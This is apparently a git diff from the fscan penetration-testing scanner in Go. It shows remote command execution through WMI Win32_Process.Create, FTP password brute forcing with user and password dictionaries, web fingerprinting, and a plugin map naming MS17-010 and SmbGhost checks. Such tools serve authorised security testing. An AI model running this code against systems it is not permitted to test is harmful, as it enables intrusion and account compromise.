// 连接成功
|
||||
flag = true
|
||||
|
||||
// 如果有命令则执行
|
||||
if command != "" {
|
||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
||||
|
||||
// 创建Win32_Process对象来执行命令
|
||||
process, err := oleutil.CallMethod(service.ToIDispatch(), "Get", "Win32_Process")
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer process.Clear()
|
||||
|
||||
// 执行命令
|
||||
_, err = oleutil.CallMethod(process.ToIDispatch(), "Create", command)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
}
|
||||
|
||||
return flag, nil
|
||||
}
|
12
Plugins/WebPoc.go
Normal file
12
Plugins/WebPoc.go
Normal file
@ -0,0 +1,12 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
)
|
||||
|
||||
// WebPoc 直接执行Web漏洞扫描
|
||||
func WebPoc(info *Common.HostInfo) error {
|
||||
WebScan.WebScan(info)
|
||||
return nil
|
||||
}
|
409
Plugins/WebTitle.go
Normal file
409
Plugins/WebTitle.go
Normal file
@ -0,0 +1,409 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
)
|
||||
|
||||
// WebTitle 获取Web标题和指纹信息
|
||||
func WebTitle(info *Common.HostInfo) error {
|
||||
Common.LogDebug(fmt.Sprintf("开始获取Web标题,初始信息: %+v", info))
|
||||
|
||||
// 获取网站标题信息
|
||||
err, CheckData := GOWebTitle(info)
|
||||
Common.LogDebug(fmt.Sprintf("GOWebTitle执行完成 - 错误: %v, 检查数据长度: %d", err, len(CheckData)))
|
||||
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
||||
Common.LogDebug(fmt.Sprintf("信息检查完成,获得信息: %v", info.Infostr))
|
||||
|
||||
// 检查是否为打印机,避免意外打印
|
||||
for _, v := range info.Infostr {
|
||||
if v == "打印机" {
|
||||
Common.LogDebug("检测到打印机,停止扫描")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 输出错误信息(如果有)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// GOWebTitle 获取网站标题并处理URL
|
||||
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
||||
Common.LogDebug(fmt.Sprintf("开始处理URL: %s", info.Url))
|
||||
|
||||
// 如果URL未指定,根据端口生成URL
|
||||
if info.Url == "" {
|
||||
Common.LogDebug("URL为空,根据端口生成URL")
|
||||
switch info.Ports {
|
||||
case "80":
|
||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
||||
case "443":
|
||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
default:
|
||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("正在检测主机协议: %s", host))
|
||||
protocol := GetProtocol(host, Common.Timeout)
|
||||
Common.LogDebug(fmt.Sprintf("检测到协议: %s", protocol))
|
||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
}
|
||||
} else {
|
||||
// 处理未指定协议的URL
|
||||
if !strings.Contains(info.Url, "://") {
|
||||
Common.LogDebug("URL未包含协议,开始检测")
|
||||
host := strings.Split(info.Url, "/")[0]
|
||||
protocol := GetProtocol(host, Common.Timeout)
|
||||
Common.LogDebug(fmt.Sprintf("检测到协议: %s", protocol))
|
||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||
}
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("协议检测完成后的URL: %s", info.Url))
|
||||
|
||||
// 第一次获取URL
|
||||
Common.LogDebug("第一次尝试访问URL")
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
Common.LogDebug(fmt.Sprintf("第一次访问结果 - 错误: %v, 返回信息: %s", err, result))
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return
|
||||
}
|
||||
|
||||
// 处理URL跳转
|
||||
if strings.Contains(result, "://") {
|
||||
Common.LogDebug(fmt.Sprintf("检测到重定向到: %s", result))
|
||||
info.Url = result
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
Common.LogDebug(fmt.Sprintf("重定向请求结果 - 错误: %v, 返回信息: %s", err, result))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 处理HTTP到HTTPS的升级
|
||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
||||
Common.LogDebug("正在升级到HTTPS")
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
Common.LogDebug(fmt.Sprintf("升级后的URL: %s", info.Url))
|
||||
err, result, CheckData = geturl(info, 1, CheckData)
|
||||
|
||||
// 处理升级后的跳转
|
||||
if strings.Contains(result, "://") {
|
||||
Common.LogDebug(fmt.Sprintf("HTTPS升级后发现重定向到: %s", result))
|
||||
info.Url = result
|
||||
err, _, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("GOWebTitle执行完成 - 错误: %v", err))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
Common.LogDebug(fmt.Sprintf("geturl开始执行 - URL: %s, 标志位: %d", info.Url, flag))
|
||||
|
||||
// 处理目标URL
|
||||
Url := info.Url
|
||||
if flag == 2 {
|
||||
Common.LogDebug("处理favicon.ico URL")
|
||||
URL, err := url.Parse(Url)
|
||||
if err == nil {
|
||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
||||
} else {
|
||||
Url += "/favicon.ico"
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("favicon URL: %s", Url))
|
||||
}
|
||||
|
||||
// 创建HTTP请求
|
||||
Common.LogDebug("开始创建HTTP请求")
|
||||
req, err := http.NewRequest("GET", Url, nil)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("创建HTTP请求失败: %v", err))
|
||||
return err, "", CheckData
|
||||
}
|
||||
|
||||
// 设置请求头
|
||||
req.Header.Set("User-agent", Common.UserAgent)
|
||||
req.Header.Set("Accept", Common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if Common.Cookie != "" {
|
||||
req.Header.Set("Cookie", Common.Cookie)
|
||||
}
|
||||
req.Header.Set("Connection", "close")
|
||||
Common.LogDebug("已设置请求头")
|
||||
|
||||
// 选择HTTP客户端
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
client = lib.ClientNoRedirect
|
||||
Common.LogDebug("使用不跟随重定向的客户端")
|
||||
} else {
|
||||
client = lib.Client
|
||||
Common.LogDebug("使用普通客户端")
|
||||
}
|
||||
|
||||
// 检查客户端是否为空
|
||||
if client == nil {
|
||||
Common.LogDebug("错误: HTTP客户端为空")
|
||||
return fmt.Errorf("HTTP客户端未初始化"), "", CheckData
|
||||
}
|
||||
|
||||
// 发送请求
|
||||
Common.LogDebug("开始发送HTTP请求")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("HTTP请求失败: %v", err))
|
||||
return err, "https", CheckData
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
Common.LogDebug(fmt.Sprintf("收到HTTP响应,状态码: %d", resp.StatusCode))
|
||||
|
||||
// 读取响应内容
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应内容失败: %v", err))
|
||||
return err, "https", CheckData
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("成功读取响应内容,长度: %d", len(body)))
|
||||
|
||||
// 保存检查数据
|
||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
||||
Common.LogDebug("已保存检查数据")
|
||||
|
||||
// 处理非favicon请求
|
||||
var reurl string
|
||||
if flag != 2 {
|
||||
// 处理编码
|
||||
if !utf8.Valid(body) {
|
||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
||||
}
|
||||
|
||||
// 获取页面信息
|
||||
title := gettitle(body)
|
||||
length := resp.Header.Get("Content-Length")
|
||||
if length == "" {
|
||||
length = fmt.Sprintf("%v", len(body))
|
||||
}
|
||||
|
||||
// 收集服务器信息
|
||||
serverInfo := make(map[string]interface{})
|
||||
serverInfo["title"] = title
|
||||
serverInfo["length"] = length
|
||||
serverInfo["status_code"] = resp.StatusCode
|
||||
|
||||
// 收集响应头信息
|
||||
for k, v := range resp.Header {
|
||||
if len(v) > 0 {
|
||||
serverInfo[strings.ToLower(k)] = v[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 检查重定向
|
||||
redirURL, err1 := resp.Location()
|
||||
if err1 == nil {
|
||||
reurl = redirURL.String()
|
||||
serverInfo["redirect_url"] = reurl
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: info.Host,
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "http",
|
||||
"title": title,
|
||||
"url": resp.Request.URL.String(),
|
||||
"status_code": resp.StatusCode,
|
||||
"length": length,
|
||||
"server_info": serverInfo,
|
||||
"fingerprints": info.Infostr, // 指纹信息
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 输出控制台日志
|
||||
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
resp.Request.URL, resp.StatusCode, length, title)
|
||||
if reurl != "" {
|
||||
logMsg += fmt.Sprintf(" 重定向地址: %s", reurl)
|
||||
}
|
||||
Common.LogSuccess(logMsg)
|
||||
}
|
||||
|
||||
// 返回结果
|
||||
if reurl != "" {
|
||||
Common.LogDebug(fmt.Sprintf("返回重定向URL: %s", reurl))
|
||||
return nil, reurl, CheckData
|
||||
}
|
||||
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
|
||||
Common.LogDebug("返回HTTPS升级标志")
|
||||
return nil, "https", CheckData
|
||||
}
|
||||
Common.LogDebug("geturl执行完成,无特殊返回")
|
||||
return nil, "", CheckData
|
||||
}
|
||||
|
||||
// getRespBody 读取HTTP响应体内容
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
Common.LogDebug("开始读取响应体内容")
|
||||
var body []byte
|
||||
|
||||
// 处理gzip压缩的响应
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
Common.LogDebug("检测到gzip压缩,开始解压")
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("创建gzip解压器失败: %v", err))
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
|
||||
// 循环读取解压内容
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
Common.LogDebug(fmt.Sprintf("读取压缩内容失败: %v", err))
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("gzip解压完成,内容长度: %d", len(body)))
|
||||
} else {
|
||||
// 直接读取未压缩的响应
|
||||
Common.LogDebug("读取未压缩的响应内容")
|
||||
raw, err := io.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应内容失败: %v", err))
|
||||
return nil, err
|
||||
}
|
||||
body = raw
|
||||
Common.LogDebug(fmt.Sprintf("读取完成,内容长度: %d", len(body)))
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
// gettitle 从HTML内容中提取网页标题
|
||||
func gettitle(body []byte) (title string) {
|
||||
Common.LogDebug("开始提取网页标题")
|
||||
|
||||
// 使用正则表达式匹配title标签内容
|
||||
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
|
||||
if len(find) > 1 {
|
||||
title = string(find[1])
|
||||
Common.LogDebug(fmt.Sprintf("找到原始标题: %s", title))
|
||||
|
||||
// 清理标题内容
|
||||
title = strings.TrimSpace(title) // 去除首尾空格
|
||||
title = strings.Replace(title, "\n", "", -1) // 去除换行
|
||||
title = strings.Replace(title, "\r", "", -1) // 去除回车
|
||||
title = strings.Replace(title, " ", " ", -1) // 替换HTML空格
|
||||
|
||||
// 截断过长的标题
|
||||
if len(title) > 100 {
|
||||
Common.LogDebug("标题超过100字符,进行截断")
|
||||
title = title[:100]
|
||||
}
|
||||
|
||||
// 处理空标题
|
||||
if title == "" {
|
||||
Common.LogDebug("标题为空,使用双引号代替")
|
||||
title = "\"\""
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("未找到标题标签")
|
||||
title = "无标题"
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("最终标题: %s", title))
|
||||
return
|
||||
}
|
||||
|
||||
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS)
|
||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
||||
Common.LogDebug(fmt.Sprintf("开始检测主机协议 - 主机: %s, 超时: %d秒", host, Timeout))
|
||||
protocol = "http"
|
||||
|
||||
// 根据标准端口快速判断协议
|
||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
||||
Common.LogDebug("检测到HTTP标准端口或无端口,使用HTTP协议")
|
||||
return
|
||||
} else if strings.HasSuffix(host, ":443") {
|
||||
Common.LogDebug("检测到HTTPS标准端口,使用HTTPS协议")
|
||||
protocol = "https"
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试建立TCP连接
|
||||
Common.LogDebug("尝试建立TCP连接")
|
||||
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("TCP连接失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试TLS握手
|
||||
Common.LogDebug("开始TLS握手")
|
||||
conn := tls.Client(socksconn, &tls.Config{
|
||||
MinVersion: tls.VersionTLS10,
|
||||
InsecureSkipVerify: true,
|
||||
})
|
||||
|
||||
// 确保连接关闭
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err))
|
||||
}
|
||||
}()
|
||||
Common.LogDebug("关闭连接")
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
|
||||
// 设置连接超时
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
|
||||
|
||||
// 执行TLS握手
|
||||
err = conn.Handshake()
|
||||
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
||||
Common.LogDebug("TLS握手成功或握手失败但确认是HTTPS协议")
|
||||
protocol = "https"
|
||||
} else {
|
||||
Common.LogDebug(fmt.Sprintf("TLS握手失败: %v,使用HTTP协议", err))
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("协议检测完成,使用: %s", protocol))
|
||||
return protocol
|
||||
}
|
105
Plugins/base.go
105
Plugins/base.go
@ -1,105 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"net"
|
||||
)
|
||||
|
||||
var PluginList = map[string]interface{}{
|
||||
"21": FtpScan,
|
||||
"22": SshScan,
|
||||
"135": Findnet,
|
||||
"139": NetBIOS,
|
||||
"445": SmbScan,
|
||||
"1433": MssqlScan,
|
||||
"1521": OracleScan,
|
||||
"3306": MysqlScan,
|
||||
"3389": RdpScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"9000": FcgiScan,
|
||||
"11211": MemcachedScan,
|
||||
"27017": MongodbScan,
|
||||
"1000001": MS17010,
|
||||
"1000002": SmbGhost,
|
||||
"1000003": WebTitle,
|
||||
"1000004": SmbScan2,
|
||||
"1000005": WmiExec,
|
||||
}
|
||||
|
||||
func ReadBytes(conn net.Conn) (result []byte, err error) {
|
||||
size := 4096
|
||||
buf := make([]byte, size)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result = append(result, buf[0:count]...)
|
||||
if count < size {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(result) > 0 {
|
||||
err = nil
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
var key = "0123456789abcdef"
|
||||
|
||||
func AesEncrypt(orig string, key string) string {
|
||||
// 转成字节数组
|
||||
origData := []byte(orig)
|
||||
k := []byte(key)
|
||||
// 分组秘钥
|
||||
// NewCipher该函数限制了输入k的长度必须为16, 24或者32
|
||||
block, _ := aes.NewCipher(k)
|
||||
// 获取秘钥块的长度
|
||||
blockSize := block.BlockSize()
|
||||
// 补全码
|
||||
origData = PKCS7Padding(origData, blockSize)
|
||||
// 加密模式
|
||||
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
|
||||
// 创建数组
|
||||
cryted := make([]byte, len(origData))
|
||||
// 加密
|
||||
blockMode.CryptBlocks(cryted, origData)
|
||||
return base64.StdEncoding.EncodeToString(cryted)
|
||||
}
|
||||
func AesDecrypt(cryted string, key string) string {
|
||||
// 转成字节数组
|
||||
crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
|
||||
k := []byte(key)
|
||||
// 分组秘钥
|
||||
block, _ := aes.NewCipher(k)
|
||||
// 获取秘钥块的长度
|
||||
blockSize := block.BlockSize()
|
||||
// 加密模式
|
||||
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
|
||||
// 创建数组
|
||||
orig := make([]byte, len(crytedByte))
|
||||
// 解密
|
||||
blockMode.CryptBlocks(orig, crytedByte)
|
||||
// 去补全码
|
||||
orig = PKCS7UnPadding(orig)
|
||||
return string(orig)
|
||||
}
|
||||
|
||||
// 补码
|
||||
// AES加密数据块分组长度必须为128bit(byte[16]),密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。
|
||||
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
|
||||
padding := blocksize - len(ciphertext)%blocksize
|
||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(ciphertext, padtext...)
|
||||
}
|
||||
|
||||
// 去码
|
||||
func PKCS7UnPadding(origData []byte) []byte {
|
||||
length := len(origData)
|
||||
unpadding := int(origData[length-1])
|
||||
return origData[:(length - unpadding)]
|
||||
}
|
@ -1,123 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *common.HostInfo) error {
|
||||
err := FindnetScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(bufferV1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 4096)
|
||||
_, err = conn.Read(reply)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(bufferV2)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||
return err
|
||||
}
|
||||
text := reply[42:]
|
||||
flag := true
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
flag = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if flag {
|
||||
return err
|
||||
}
|
||||
err = read(text, info.Host)
|
||||
return err
|
||||
}
|
||||
|
||||
func HexUnicodeStringToString(src string) string {
|
||||
sText := ""
|
||||
if len(src)%4 != 0 {
|
||||
src += src[:len(src)-len(src)%4]
|
||||
}
|
||||
for i := 0; i < len(src); i = i + 4 {
|
||||
sText += "\\u" + src[i+2:i+4] + src[i:i+2]
|
||||
}
|
||||
|
||||
textUnquoted := sText
|
||||
sUnicodev := strings.Split(textUnquoted, "\\u")
|
||||
var context string
|
||||
for _, v := range sUnicodev {
|
||||
if len(v) < 1 {
|
||||
continue
|
||||
}
|
||||
temp, err := strconv.ParseInt(v, 16, 32)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
context += fmt.Sprintf("%c", temp)
|
||||
}
|
||||
return context
|
||||
}
|
||||
|
||||
func read(text []byte, host string) error {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
|
||||
hn := ""
|
||||
for i := 0; i < len(encodedStr)-4; i = i + 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hn += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
var name string
|
||||
name = HexUnicodeStringToString(hn)
|
||||
|
||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||
hostname := strings.Split(hostnames, "000000")
|
||||
result := "[*] NetInfo \n[*]" + host
|
||||
if name != "" {
|
||||
result += "\n [->]" + name
|
||||
}
|
||||
hostname = hostname[1:]
|
||||
for i := 0; i < len(hostname); i++ {
|
||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||
host, err := hex.DecodeString(hostname[i])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result += "\n [->]" + string(host)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
@ -1,79 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := FtpConn(info, "anonymous", "")
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
for _, user := range common.Userdict["ftp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := FtpConn(info, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = conn.Login(Username, Password)
|
||||
if err == nil {
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
//defer conn.Logout()
|
||||
if err == nil {
|
||||
if len(dirs) > 0 {
|
||||
for i := 0; i < len(dirs); i++ {
|
||||
if len(dirs[i].Name) > 50 {
|
||||
result += "\n [->]" + dirs[i].Name[:50]
|
||||
} else {
|
||||
result += "\n [->]" + dirs[i].Name
|
||||
}
|
||||
if i == 5 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
310
Plugins/icmp.go
310
Plugins/icmp.go
@ -1,310 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/icmp"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
AliveHosts []string
|
||||
ExistHosts = make(map[string]struct{})
|
||||
livewg sync.WaitGroup
|
||||
)
|
||||
|
||||
func CheckLive(hostslist []string, Ping bool) []string {
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
if common.Silent == false {
|
||||
if Ping == false {
|
||||
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
|
||||
} else {
|
||||
fmt.Printf("(ping) Target %-15s is alive\n", ip)
|
||||
}
|
||||
}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
livewg.Done()
|
||||
}
|
||||
}()
|
||||
|
||||
if Ping == true {
|
||||
//使用ping探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else {
|
||||
//优先尝试监听本地icmp,批量探测
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
if err == nil {
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//尝试无监听icmp探测
|
||||
fmt.Println("trying RunIcmp2")
|
||||
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//使用ping探测
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
livewg.Wait()
|
||||
close(chanHosts)
|
||||
|
||||
if len(hostslist) > 1000 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
|
||||
common.LogSuccess(output)
|
||||
}
|
||||
}
|
||||
if len(hostslist) > 256 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
|
||||
common.LogSuccess(output)
|
||||
}
|
||||
}
|
||||
|
||||
return AliveHosts
|
||||
}
|
||||
|
||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
||||
endflag := false
|
||||
go func() {
|
||||
for {
|
||||
if endflag == true {
|
||||
return
|
||||
}
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
livewg.Add(1)
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for _, host := range hostslist {
|
||||
dst, _ := net.ResolveIPAddr("ip", host)
|
||||
IcmpByte := makemsg(host)
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
//根据hosts数量修改icmp监听时间
|
||||
start := time.Now()
|
||||
for {
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
since := time.Since(start)
